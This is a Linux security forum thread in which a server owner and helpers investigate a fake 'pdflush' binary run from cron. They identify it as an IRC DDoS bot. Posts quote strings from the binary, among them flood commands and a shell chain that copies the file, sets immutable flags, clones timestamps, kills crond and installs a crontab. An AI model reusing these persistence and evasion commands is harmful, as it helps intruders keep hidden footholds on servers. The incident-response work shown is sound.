LinuxQuestions.org
Review your favorite Linux distribution.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 01-18-2014, 10:53 PM   #1
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Rep: Reputation: 15
memory leak from file ?


So we physically replaced practically everything on the server, thinking the memory leak had to be hardware related..but it wasn't.

It's something software related.

Running a Linux / Unix quadcore with CentOs.

The server's running fine , but this is showing up in logs every minute :

/var/log/cron

Quote:
Jan 18 23:20:01 crond[2012]: (psaadm) CMD (/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:21:01 crond[2101]: (psaadm) CMD (chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:21:01 crond[2103]: (psaadm) CMD (/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:21:01 crond[2107]: (psaadm) CMD (/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:21:01 crond[2108]: (psaadm) CMD (chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:22:01 crond[2179]: (psaadm) CMD (chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:22:01 crond[2181]: (psaadm) CMD (chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:22:01 crond[2185]: (psaadm) CMD (/var/tmp/pdflush >/dev/null 2>&1)
Jan 18 23:22:01 crond[2186]: (psaadm) CMD (/var/tmp/pdflush >/dev/null 2>&1)
this pdflush file changed on 12/23/13. The SAME day the memory leaks started.
Originally, this pdflush is suppose to be a part of Plesk...to clean the dirty cache?

But when I try to view it, it shows those encrypted looking characters. (unreadable text)

current size of file :

pdflush 562,008
file permissions : 755
owner : psaadm (plesk)

and what's showing up in /var/log/messages is the memory leak from the file...this also repeats every minute, and at the same second during every minute. :01

/var/log/messages

Quote:
Jan 18 23:27:01 kernel: pdflush[2679]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007ffffa91d828 error 6
Jan 18 23:27:01 kernel: pdflush[2683]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fff9781cbb8 error 6
Jan 18 23:27:01 kernel: pdflush[2684]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fffa8b53e08 error 6
Jan 18 23:27:01 kernel: pdflush[2689]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fff2042e6b8 error 6
Jan 18 23:28:01 kernel: pdflush[2765]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fff9e4df9a8 error 6
Jan 18 23:28:01 kernel: pdflush[2764]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fffc05f8968 error 6
Jan 18 23:28:01 kernel: pdflush[2769]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fff83a95c68 error 6
Jan 18 23:28:01 kernel: pdflush[2771]: segfault at 0000000000000000 rip 0000000000419e60 rsp 00007fff9aa40f68 error 6
In my crontab, it's running the following 2 crons every minute :

Quote:
chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1
Quote:
/var/tmp/pdflush >/dev/null 2>&1

any ideas ? If you think the pdflush file was hacked, what to do ? is there anyway I could read those encrypted looking characters ?

I appreciate any help

Last edited by mike2010; 01-18-2014 at 10:55 PM.
 
Old 01-18-2014, 11:47 PM   #2
Ser Olmy
Senior Member
 
Registered: Jan 2012
Distribution: Slackware
Posts: 3,338

Rep: Reputation: Disabled
Why on earth would you think that a memory leak could be caused by hardware? Well, now you know it isn't.

The log files do not show anything that indicates a memory leak. How did you detect this leak? Does the OOM killer kick in after a certain amount of time?

What the messages log shows, is a program repeatedly segfaulting. The program, pdflush, seems to reside in /var/tmp, which is weird, but I don't know enough about CentOS to know if it's a valid fine and if so, what it does. Why do you have a contab entry that sets the "execute" attribute on a file in /var/tmp and then runs it? Is this part of plesk, by any chance?

If /var/tmp/pdflush is supposed to be there, you should figure out what package it belongs to and reinstall that package. The following commands may provide clues:
Code:
rpm -q --whatprovides /var/tmp/pdflush
file /var/tmp/pdflush
ldd /var/tmp/pdflush
strings /var/tmp/pdflush
 
Old 01-19-2014, 06:46 AM   #3
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by Ser Olmy View Post
(..) I don't know enough about CentOS to know if it's a valid fine and if so, what it does.
Yes you do:
- sockets, temporary files, OK, but no distro runs regular applications out of /var/tmp AFAIK,
- what the name makes you think it is, pdflush it is not.


Quote:
Originally Posted by mike2010 View Post
So we physically replaced practically everything on the server, thinking the memory leak had to be hardware related..but it wasn't.
Are you trying to convey you had trouble before but went for the wrong solution? As in trying to "clean things up"?


Quote:
Originally Posted by mike2010 View Post
In my crontab, it's running the following 2 crons every minute :
Your crontab as in user root?


Quote:
Originally Posted by mike2010 View Post
Originally, this pdflush is suppose to be a part of Plesk...to clean the dirty cache?
No. pdflush is part of the kernel to flush buffers. To be clear, running 'ps' should show its process name in brackets (to denote a kernel 2.6.x thread), running as root and with a PPID of kthread:
Code:
~]$ /bin/ps -C kthread -C pdflush fo pid,ppid,uid,cmd
  PID  PPID   UID CMD
   11     1     0 [kthread]
54003    11     0  \_ [pdflush]
60064    11     0  \_ [pdflush]

Quote:
Originally Posted by mike2010 View Post
this pdflush file changed on 12/23/13. (..)
current size of file :
pdflush 562,008
file permissions : 755
owner : psaadm (plesk)
So 2013-12-23 is the day they activated this. Doesn't necessarily mean they gained entry on that date, may be well before the 23rd...


Quote:
Originally Posted by mike2010 View Post
any ideas ? If you think the pdflush file was hacked, what to do ? is there anyway I could read those encrypted looking characters ?
First I suggest you read the CERT Intruder Detection Checklist and perform tasks listed there.

Then run these commands:
Code:
( stat /var/tmp/pdflush; find /tmp /var/tmp /var/spool/cron -printf "%T@ %A@ %C@ %u %g %m %y \"%p\"\n" 2>&1; \
find /tmp /var/tmp /opt /home /usr/local -type f -iname \*pdflush\* -printf "%T@ %A@ %C@ %u %g %m %y \"%p\"\n" 2>&1; \
/bin/ps axfwwwe -opid,ppid,gid,uid,cmd 2>&1; /usr/sbin/lsof -Pwln 2>&1; /bin/netstat -anTpe 2>&1; /usr/bin/lastlog 2>&1; \
/usr/bin/last -wai 2>&1; /usr/bin/who -a 2>&1 ) > /path/to/data.txt'

/bin/rpm  --nodeps --noscripts --notriggers -Vva 2>&1|/bin/grep -v "\.\{8\}" 2>&1> /path/to/rpmvfy.log
*Note piping output through SSH or saving it in /dev/shm may be a substitute for "/path/to/".
**Also note you should insert your directory where Plesk resides in the 'find' command.

Then copy all system and daemon logs including archived ones to a separate workstation or VM and run them through Logwatch with the "--detail High --service All --range All --archives --numeric --save /path/to/logwatch.log" args.

Until we get a look at the output:
- disarm pdflush:
Code:
chattr -isau /var/tmp/pdflush
chmod -x /var/tmp/pdflush
mv -f /var/tmp/pdflush /var/tmp/not-pdflush.elf
- deny any user access to cron:
Code:
mv -f /etc/cron.deny /etc/cron.deny.prev
mv -f /etc/cron.allow /etc/cron.allow.prev
touch /etc/cron.allow
*might break some stuff but that's all in the game
- remount /tmp if separate partition:
Code:
mount /tmp -o remount,noexec
Please compress output and "/var/tmp/not-pdflush.elf" as tar ball and contact me to discuss dropping off the package and please stay with this thread until solved.
 
Old 01-19-2014, 01:17 PM   #4
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Original Poster
Rep: Reputation: 15
any chance this could be a normal part of Plesk ? Maybe it's just stuck flushing the buffers.
 
Old 01-19-2014, 01:41 PM   #5
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Original Poster
Rep: Reputation: 15
I removed the following 2 crons from crontab user 'psaadm'

and the segfaults have stopped.

Quote:
chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1
Quote:
/var/tmp/pdflush >/dev/null 2>&1

what to do...now ?

I still wanna analyze /var/tmp/pdflush

how do I read those files..that have that encrypted look...with weird characters.
 
Old 01-19-2014, 01:56 PM   #6
Ser Olmy
Senior Member
 
Registered: Jan 2012
Distribution: Slackware
Posts: 3,338

Rep: Reputation: Disabled
Quote:
Originally Posted by mike2010 View Post
I still wanna analyze /var/tmp/pdflush

how do I read those files..that have that encrypted look...with weird characters.
It's not an encrypted file, it's just that you can't view executable program code as text.

Did you run the commands I mentioned in my previous post?
 
Old 01-19-2014, 03:52 PM   #7
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
I should point out there's more important things than just looking at the contents of that file because you can't infer from it alone how it got there. Helping you find out is what my post was aiming at. You should not feel free to ignore it.

Should you want to look at the file then you can easily ditch most of the commands given and just run:
Code:
i=/var/tmp/pdflush; file $i; strings -an4 $i
If it's an ELF binary you'll likely find strings like:
Code:
rm -rf /var/tmp/xx.c* >/dev/null 2>&1;rm -rf /var/tmp/kk.c* >/dev/null 2>&1; c
p -f /var/tmp/pdflush $HOME/ >/dev/null 2>&1;chmod +x $HOME/pdflush >/dev/null 2>&1;
cp -f /var/tmp/pdflush /usr/local/psa/admin >/dev/null 2>&;chmod +x /usr/local/psa/
admin/pdflush >/dev/null 2>&1;cp -f /var/tmp/pdflush /opt/psa/admin/pdflush >/dev/nu
ll 2>&1;chmod +x /opt/psa/admin/pdflush >/dev/null 2>&1;killall -9 sh >/dev/null 2>&1
giving you some idea why looking at the file alone isn't enough.
But I already said that.
 
Old 01-19-2014, 04:42 PM   #8
Ser Olmy
Senior Member
 
Registered: Jan 2012
Distribution: Slackware
Posts: 3,338

Rep: Reputation: Disabled
@mike2010: Before this thread gets even more surreal, I'd like to ask a few follow-up questions, like:
  • What exactly is this "memory leak" you mentioned?
  • How was it discovered?
You see, as unSpawn has been trying to point out, it seems your system is infected by some sort of malware. You have an executable file in /var/tmp, and that's definitely an odd place for an executable. Furthermore, it's called "pdflush" which happens to be the name of a kernel function, and not something that should turn up as the name of an executable file anywhere.

I plugged /var/tmp/pdflush into a few search engines, and besides your posts here and on the parallels forum, I only got hits in forum threads from people with compromised systems. Most of the threads I found were in French, but the symptoms were much the same as the ones you're seeing: A strange file in /var/tmp and entries in the crontab of the "psadm" user running this file regularly.

If this is really a malware infection you may have been lucky, as the file seems to be segfaulting on your system, hopefully before doing whatever it was designed to do. Perhaps it needs a library not found on your server, or the file itself is compiled for a different architecture (which is why I asked you to run those commands).

You should proceed by trying to identify this malware if that is indeed what it is, and if so, find out how it got on your system. Since you've reinstalled the entire system and the problem still resurfaced, it's pretty safe to assume that the vulnerability is still present.

Edit: I see now that you said you rebuilt the server, which may or may not include reinstalling the OS.

Last edited by Ser Olmy; 01-19-2014 at 04:57 PM.
 
Old 01-19-2014, 07:35 PM   #9
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Original Poster
Rep: Reputation: 15
I have no evidence of a memory leak...only the segfault stuff I thought was considered a memory leak.

I appreciate the help from both of ya. I haven't really done anything yet, since i'm kinda nervous to. Especially this day in age where viruses are trickier than ever.

Server load is running extremely low. 0.01 to 0.07.. And has been the whole day. Even lower since I disabled the crons running that executable. (so that's good)

I have everything restricted per IP...and always have. SSH / FTP / per my IP only....yet, still someone was able to get in and modify a file. :-/

Only thing I could think of is...I was stupid and ran a public minecraft server a couple months ago. Hackers galore claimed they were pwnin the server...even though I had no evidence at the time. Even then, I had everything closed off per my IP only.

Interesting that you mentioned the ELF thing... I got tempted and saved the file (pdflush) to my desktop and attempted to open with WordPad.

The first coding at the top says ELF

the rest of the readable text in the file is below :

Code:
invalid ELF header ELF file OS ABI invalid ELF file ABI version invalid internal error file too short   trying file=%s
  search path= 		(%s from file %s)
 :%s 		(%s)
 RPATH RUNPATH   cannot create cache for search path     cannot create RUNPATH/RPATH copy        cannot create search path array cannot create shared object descriptor  failed to map segment from shared object        object file has no loadable segments    object file has no dynamic section      cannot allocate memory for program header       file=%s [%lu];  generating link map
    ELF load command address/offset not properly aligned    ELF load command alignment not page-aligned       dynamic: 0x%0*lx  base: 0x%0*lx   size: 0x%0*Zx
    entry: 0x%0*lx  phdr: 0x%0*lx  phnum:   %*u

     cannot enable executable stack as shared object requires        shared object cannot be dlopen()ed      cannot change memory protections        cannot dynamically load executable      cannot allocate TLS data structures for initial thread  ELF file version does not match current one     ELF file's phentsize not the expected size      ELF file data encoding not little-endian        ELF file version ident does not match current one       only ET_DYN and ET_EXEC can be loaded   
file=%s [%lu];  needed by %s [%lu]
    find library=%s [%lu]; searching
       cannot open shared object file /etc/ld.so.cache glibc-ld.so.cache1.1 ld.so-1.7.0  search cache=%s
      undefined symbol:       symbol=%s;  lookup in file=%s
  binding file %s to %s: %s symbol `%s'   
file=%s [%lu];  needed by %s [%lu] (relocation dependency)

 symbol  , version   (no version symbols)  not defined in file   with link time reference <main program> relocation error symbol lookup error protected normal  [%s]
      cannot allocate memory in static TLS block      %s: Symbol `%s' causes overflow in R_X86_64_32 relocation
      %s: Symbol `%s' causes overflow in R_X86_64_PC32 relocation
    %s: profiler out of memory shadowing PLTREL of %s
      %s: Symbol `%s' has different size in shared object, consider re-linking
       cannot make segment writable for relocation     cannot restore segment prot after reloc %s: profiler found no PLTREL in object %s
              cannot apply additional memory protection after relocation      unexpected reloc type 0x              unexpected PLT reloc type 0x              :fD     hD     jhD     :fD     :fD     .hD     hD     hD     :fD     :fD     iD     :fD     :fD     :fD     :fD     :fD     hD     ciD     gD     :fD     gD     ngD     :fD     :fD     +gD     gD     gD     :fD     :fD     fD     :fD     :fD     :fD     :fD     :fD     œfD     ƒfD     KfD     <program name unknown>  (lazy) 
relocation processing: %s%s
    cannot load auxiliary `%s' because of empty dynamic string token substitution
  cannot allocate symbol search list      cannot allocate dependency list empty dynamics string token substitution        load filtered object=%s requested by file=%s
   Filters not supported with LD_TRACE_PRELINKING  load auxiliary object=%s requested by file=%s
 out of memory DYNAMIC LINKER BUG!!! :  %s: %s: %s%s%s%s%s
 continued fatal %s: error: %s: %s (%s)
       error while loading shared libraries 
calling init: %s

calling preinit: %s

 unsupported version   of Verdef record weak version ` ' not found (required by   of Verneed record
     no version information available (required by   checking for version `%s' in file %s required by file %s
       cannot allocate version reference table %s: cannot open file: %s
 %s: cannot stat file: %s
 %s: cannot map file: %s
 %s: cannot create file: %s
        %s: file is no correct profile data file for `%s'
      Out of memory while initializing profiler
 /proc/self/exe GLIBC_PRIVATE _dl_open_hook IGNORE gconv_trans_context gconv_trans gconv_trans_init gconv_trans_end .so ^[yY] ^[nN]                                     QG                                                        hG     —G     —G     —G     QG                             QG                                                        —G     QG     ISO/IEC 14652 i18n FDCC-set Keld Simonsen keld@dkuug.dk +45 3122-6543 +45 3325-6543 ISO 1.0 1997-12-20  ISO/IEC JTC1/SC22/WG20 - internationalization   C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn V                             i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999  i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999 i18n:1999                                                           	   
         
                                                             !   "   #   $   %   &   '   (   )   *   +   ,   -   .   /   0   1   2   3   4   5   6   7   8   9   :   ;   <   =   >   ?   @   A   B   C   D   E   F   G   H   I   J   K   L   M   N   O   P   Q   R   S   T   U   V   W   X   Y   Z   [   \   ]   ^   _   `   a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   q   r   s   t   u   v   w   x   y   z   {   |   }   ~      €      ‚   ƒ   „   …   †   ‡   ˆ   ‰   Š   ‹   Œ      Ž         ‘   ’   “   ”   •   –   —   ˜   ™   š   ›   œ      ž   Ÿ   *                                       *                                                                                                                                                                                                                                                              	

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    0b                    0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F   G   H   I   J   K   L   M   N   O   P   Q   R   S   T   U   V   W   X   Y   Z                   0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   q   r   s   t   u   v   w   x   y   z   Success Operation not permitted No such file or directory No such process Interrupted system call Input/output error No such device or address Argument list too long Exec format error Bad file descriptor No child processes Cannot allocate memory Permission denied Bad address Block device required Device or resource busy File exists Invalid cross-device link No such device Not a directory Is a directory Invalid argument Too many open files in system Too many open files Text file busy File too large No space left on device Illegal seek Read-only file system Too many links Broken pipe Numerical result out of range Resource deadlock avoided File name too long No locks available Function not implemented Directory not empty No message of desired type Identifier removed Channel number out of range Level 2 not synchronized Level 3 halted Level 3 reset Link number out of range Protocol driver not attached No CSI structure available Level 2 halted Invalid exchange Invalid request descriptor Exchange full No anode Invalid request code Invalid slot Bad font file format Device not a stream No data available Timer expired Out of streams resources Machine is not on the network Package not installed Object is remote Link has been severed Advertise error Srmount error Communication error on send Protocol error Multihop attempted RFS specific error Bad message Name not unique on network File descriptor in bad state Remote address changed Streams pipe error Too many users Destination address required Message too long Protocol not available Protocol not supported Socket type not supported Operation not supported Protocol family not supported Address already in use Network is down Network is unreachable Connection reset by peer No buffer space available Connection timed out Connection refused Host is down No route to host Operation already in progress Operation now in progress Stale NFS file handle Structure needs cleaning Not a XENIX named type file No XENIX semaphores available Is a named type file Remote I/O error Disk quota exceeded No medium found Wrong medium type Operation canceled        Resource temporarily unavailable        Inappropriate ioctl for device  Numerical argument out of domain        Too many levels of symbolic links       Value too large for defined data type   Can not access a needed shared library  Accessing a corrupted shared library    .lib section in a.out corrupted Attempting to link in too many shared libraries Cannot exec a shared library directly   Invalid or incomplete multibyte or wide character       Interrupted system call should be restarted     Socket operation on non-socket  Protocol wrong type for socket  Address family not supported by protocol        Cannot assign requested address Network dropped connection on reset     Software caused connection abort        Transport endpoint is already connected Transport endpoint is not connected     Cannot send after transport endpoint shutdown   Too many references: cannot splice

and more readable code. (another section of file)


Code:
 NOTICE %s :Saved as %s
 NOTICE %s :Spoofs: %d.%d.%d.%d
 NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
 NOTICE %s :omfg. stfu. kthx.
 NOTICE %s :NICK <nick>
     NOTICE %s :Nick cannot be larger than 9 characters.
 NICK %s
 NOTICE %s :DISABLE <pass>
 Disabled Enabled and awaiting orders   NOTICE %s :Current status is: %s.
 NOTICE %s :Already disabled.
        NOTICE %s :Password too long! > 254
    NOTICE %s :Disable sucessful.
 NOTICE %s :ENABLE <pass>
 NOTICE %s :Already enabled.
 NOTICE %s :Wrong password
 NOTICE %s :Password correct.
  NOTICE %s :Removed all spoofs
  NOTICE %s :What kind of subnet address is that? Do something like: 169.40
 .0   NOTICE %s :Unable to resolve %s
        NOTICE %s :UDP <target> <port> <secs>
 NOTICE %s :Packeting %s.
        NOTICE %s :PAN <target> <port> <secs>
 NOTICE %s :Panning %s.
  NOTICE %s :TSUNAMI <target> <secs>
     NOTICE %s :Tsunami heading for %s.
     NOTICE %s :UNKNOWN <target> <secs>
 NOTICE %s :Unknowning %s.
 NOTICE %s :Udp pps %s.
 NOTICE %s :UDO53 %s.
 NOTICE %s :UDP53:56 %s.
 NOTICE %s :MOVE <server>
 NOTICE %s :Killing pid %d.
 TSUNAMI PAN UDP UNKNOWN UNKNOWN2 UNKNOWN3 UNKNOWN4 NICK SERVER GETSPOOFS SPOOFS DISABLE ENABLE KILL GET VERSION KILLALL HELP IRC  %s
 CJ    export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s NOTICE %s :%s
   MODE %s +i-x
 JOIN %s :%s
 PONG %s
        NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.
 352 376 433 422 PRIVMSG PING       rm -rf /var/tmp/xx.c* >/dev/null 2>&1;rm -rf /var/tmp/jj*.c* >/dev/null 2>&1;cp -f /var/tmp/pdflush $HOME/ >/dev/null 2>&1;chmod +x $HOME/pdflush >/dev/null 2>&1;cp -f /var/tmp/pdflush /usr/local/psa/admin/ >/dev/null 2>&1;chmod +x /usr/local/psa/admin/pdflush >/dev/null 2>&1;cp -f /var/tmp/pdflush var/www/pdflush >/dev/null 2>&1;chmod +x /var/www/pdflush >/dev/null 2>&1   touch -amcr /bin/bash /var/tmp/pdflush >/dev/null 2>&1;chattr +ia /var/tmp/pdflush >/dev/null 2>&1;chattr +isa /var/tmp/pdflush >/dev/null 2>&1;killall -9 perl;killall -9 pid;killall -9 crond /var/tmp/cron touch /var/tmp/cron * * * * *  / %s%s  >/dev/null 2>&1
   @weekly cd /var/tmp;chmod +x pdflush;./pdflush >/dev/null 2>&1;chmod +x %s;%s
  * * * * * chmod +x /var/tmp/pdflush;/var/tmp/pdflush >/dev/null 2>&1
 a crontab /var/tmp/cron;rm -rf /var/tmp/cron /var/tmp/.fontUnix [pdflush] #r0x m00c0w authenticationpassword      PASS %s
NICK EWG|%s
USER %s localhost localhost :%s
 
 * ERROR /proc/sys/kernel/osrelease FATAL: kernel too old
        FATAL: cannot determine kernel version
 /dev/null       cannot set %fs base address for thread-local storage                                         ?                                                            UUUUUUUU?33333333*’$I’$I’$qqq™™™™™™™E]tEUUUUUUU;;I’$I’$I8Ž8Ž85”P^Cy
000‹.…,d!
p=
ףp=
‰‰	%—^B{	$I’$I’$	=ˆˆˆˆˆˆˆB!„B|‡‡‡‡‡‡‡PuPuPqq-c /bin/sh exit 0                                       pŒ@     š@     *”@     @     @     `@      @     p@     @     pŠ@      Ÿ@     *$C     p@     €@     @     €k@     @     @     @                                             pŒ@     0t@      t@     00C     `:C     *@      @     |@     @     Š@     z@     &C     p@     €@     @     @@     @     @     @                                             pŒ@     0t@     r@     00C     `:C     *@      @     |@     @     Š@     z@     &C     p@     €@     @     @     @     @     @                                             pŒ@     0t@      o@     00C     `:C     *@      @     |@     @     pŠ@     z@     &C     p@     €@     @     @@     @     @     @     LIBC_FATAL_STDERR_ /dev/tty                                             pŒ@     š@     ™@     @     @     `@     *@     @@     @     Š@      Ÿ@     *$C     p@     €@     @     @@     @     @     @                                             pŒ@     š@      ˜@     @     @     `@     *@     P@     @     Š@     *@     *$C     p@     €@     @     @     @     @     @                                             pŒ@     š@     *”@     @     @     `@      @     p@     @     pŠ@      Ÿ@     *$C     p@     €@     @     @@     @     @     @     ,ccs=                                   @     @     P@     @     @     @@      @     @     @     @     @     @     @     *@     p@     @     €@     @     @     *** glibc detected *** %s: 0x%s ***
    double free or corruption (top) double free or corruption (!prev)       double free or corruption (fasttop)     free(): invalid next size (normal)      free(): invalid next size (fast)        double free or corruption (out) malloc(): memory corruption (fast) corrupted double-linked list malloc: top chunk is corrupt free(): invalid pointer malloc(): memory corruption realloc(): invalid size realloc(): invalid pointer realloc(): invalid next size malloc: using debugging hooks TOP_PAD_ TRIM_THRESHOLD_ MMAP_THRESHOLD_ MMAP_MAX_ Arena %d:
 system bytes     = %10u
 in use bytes     = %10u
 Total (incl. mmap):
 max mmap regions = %10u
 max mmap bytes   = %10lu
  A     A     A     A     A     SA     A     TDA     bDA     nDA     DA     DA     DA     DA     DA     vFA     ‰FA     šFA     FA     FA     FA     FA     %FA     *|X             |X            ANSI_X3.4-1968//TRANSLIT <%d> %h %e %T  [%d] /dev/console %s
  syslog: unknown facility/priority: %x                 gethostbyname_r hosts cannot extend global scope dlopen cannot create scope list invalid mode for dlopen()      opening file=%s [%lu]; direct_opencount=%u

    TLS generation counter wrapped!  Please report this.    empty dynamic string token substitution DST not allowed in SUID/SGID programs     cannot create TLS data structures     invalid target namespace in dlmopen()   no more namespaces available for dlmopen() shared object not open 
calling fini: %s [%lu]

     
closing file=%s; direct_opencount == %u
       TLS generation counter wrapped!  Please report as described in <http://www.gnu.org/software/libc/bugs.html>.            iŸA     ‡žA     ‰ŸA     IŸA     ‡žA     ‡žA     ‡žA     ‡žA     .ŸA     ŸA     žA     žA     ‡žA     žA     žA     ‡žA     ‡žA     ‡žA     ‡žA     ‡žA     žžA                             LD_PRELOAD LD_LIBRARY_PATH LD_ORIGIN_PATH LD_DEBUG LD_DEBUG_OUTPUT LD_PROFILE LD_USE_LOAD_BIAS LD_DYNAMIC_WEAK LD_SHOW_AUXV GCONV_PATH GETCONF_DIR HOSTALIASES LOCALDOMAIN LOCPATH MALLOC_TRACE NIS_PATH NLSPATH RESOLV_HOST_CONF RES_OPTIONS TMPDIR TZDIR  /var/tmp /var/profile LD_WARN LD_LIBRARY_PATH LD_BIND_NOW LD_BIND_NOT LD_DYNAMIC_WEAK LD_PROFILE_OUTPUT /etc/suid-debug LD_ASSUME_KERNEL MALLOC_CHECK_ UCS-4// ISO-10646/UCS4/ UCS-4BE// ISO-10646/UCS4/ CSUCS4// ISO-10646/UCS4/ ISO-10646// ISO-10646/UCS4/ OSF00010104// ISO-10646/UCS4/ OSF00010105// ISO-10646/UCS4/ OSF00010106// ISO-10646/UCS4/ WCHAR_T// INTERNAL UTF8// ISO-10646/UTF8/ UTF-8// ISO-10646/UTF8/ ISO-IR-193// ISO-10646/UTF8/ OSF05010001// ISO-10646/UTF8/ UCS2// ISO-10646/UCS2/ UCS-2// ISO-10646/UCS2/ OSF00010100// ISO-10646/UCS2/ OSF00010101// ISO-10646/UCS2/ OSF00010102// ISO-10646/UCS2/ ANSI_X3.4// ANSI_X3.4-1968// ISO-IR-6// ANSI_X3.4-1968// ISO646-US// ANSI_X3.4-1968// US-ASCII// ANSI_X3.4-1968// IBM367// ANSI_X3.4-1968// CP367// ANSI_X3.4-1968// CSASCII// ANSI_X3.4-1968// UCS-2LE// ISO-10646/UCS2/ UCS-2BE// UNICODEBIG// =INTERNAL->ucs4 =ucs4->INTERNAL UCS-4LE// =INTERNAL
 
Old 01-19-2014, 07:40 PM   #10
Ser Olmy
Senior Member
 
Registered: Jan 2012
Distribution: Slackware
Posts: 3,338

Rep: Reputation: Disabled
I think I've found the source code for this program: kaiten.c

Someone's been trying to use your server as a bot in a DDoS network.
 
Old 01-19-2014, 10:54 PM   #11
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by Ser Olmy View Post
I think I've found the source code for this program: kaiten.c

Someone's been trying to use your server as a bot in a DDoS network.
interesting. nice detective work.

Should I just delete that file ?

Just realized Kaspersky anti-virus was never even running on the server. Attempting to run it now...results in freezes.

Just installed ClamAv...one of the latest versions... via Yum Install Clamav

clamav 0.98-12.e15.art.x86_64.rpm
clamav-db-0.98-12.e15.art.x86_64.rpm

successfully installed...


Could I get some basics on running this? (i'll post the results here) Sorry if I sound like a super noob. Never thought deeply about getting hacked, since I IP restrict everything. (forgot about the backdoor...always gets ya)

I appreciate the help. (u guys are more useful than my tech support department currently)

Last edited by mike2010; 01-19-2014 at 10:56 PM.
 
Old 01-20-2014, 06:48 AM   #12
allend
LQ 5k Club
 
Registered: Oct 2003
Location: Melbourne
Distribution: Slackware64-15.0
Posts: 6,371

Rep: Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749Reputation: 2749
Just an observation on some of the output in the second code block in post#9. There appears to be some long bash commands. I am posting a version with newlines added after semicolons for readability.
Code:
rm -rf /var/tmp/xx.c* >/dev/null 2>&1;
rm -rf /var/tmp/jj*.c* >/dev/null 2>&1;
cp -f /var/tmp/pdflush $HOME/ >/dev/null 2>&1;
chmod +x $HOME/pdflush >/dev/null 2>&1;
cp -f /var/tmp/pdflush /usr/local/psa/admin/ >/dev/null 2>&1;
chmod +x /usr/local/psa/admin/pdflush >/dev/null 2>&1;
cp -f /var/tmp/pdflush var/www/pdflush >/dev/null 2>&1;
chmod +x /var/www/pdflush >/dev/null 2>&1   

touch -amcr /bin/bash /var/tmp/pdflush >/dev/null 2>&1;
chattr +ia /var/tmp/pdflush >/dev/null 2>&1;
chattr +isa /var/tmp/pdflush >/dev/null 2>&1;
killall -9 perl;
killall -9 pid;
killall -9 crond /var/tmp/cron 

touch /var/tmp/cron * * * * *  / %s%s  >/dev/null 2>&1   @weekly cd /var/tmp;
chmod +x pdflush;
./pdflush >/dev/null 2>&1;
chmod +x %s;
%s  * * * * *
chmod +x /var/tmp/pdflush;
/var/tmp/pdflush >/dev/null 2>&1

 a crontab /var/tmp/cron;
rm -rf /var/tmp/cron /var/tmp/.fontUnix
It suggests that the attacker has got in, created a user account, built the exploit in /var/tmp, copied it to /usr/local/psa/admin and /var/www, set the executable and immutable bits, changed access and modification times to be the same as /bin/bash and perhaps created a cron job to reinstate the exploit.

Please follow unSpawn's advice. Simply removing files without closing the door that the attacker used will not solve your problem.

Last edited by allend; 01-20-2014 at 06:52 AM.
 
1 members found this post helpful.
Old 01-20-2014, 09:12 PM   #13
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Original Poster
Rep: Reputation: 15
could I get a basic command to run ClamAv to search the whole server for viruses.

not 1 person has answered that yet.
 
Old 01-20-2014, 10:11 PM   #14
mike2010
Member
 
Registered: Jan 2009
Posts: 132

Original Poster
Rep: Reputation: 15
a quick review...somebody slipped in a corrupt pdflush file in the /var/tmp directory...tried to execute it through plesk cron..but it ended up just causing segfaults.

cron and file were successfully deleted.

no more errors showing up in logs...and CPU / memory back to normal. load average currently 0.01 to 0.06

makes me feel like whatever the guy tried to do, he didn't get in far enough.

thoughts ?

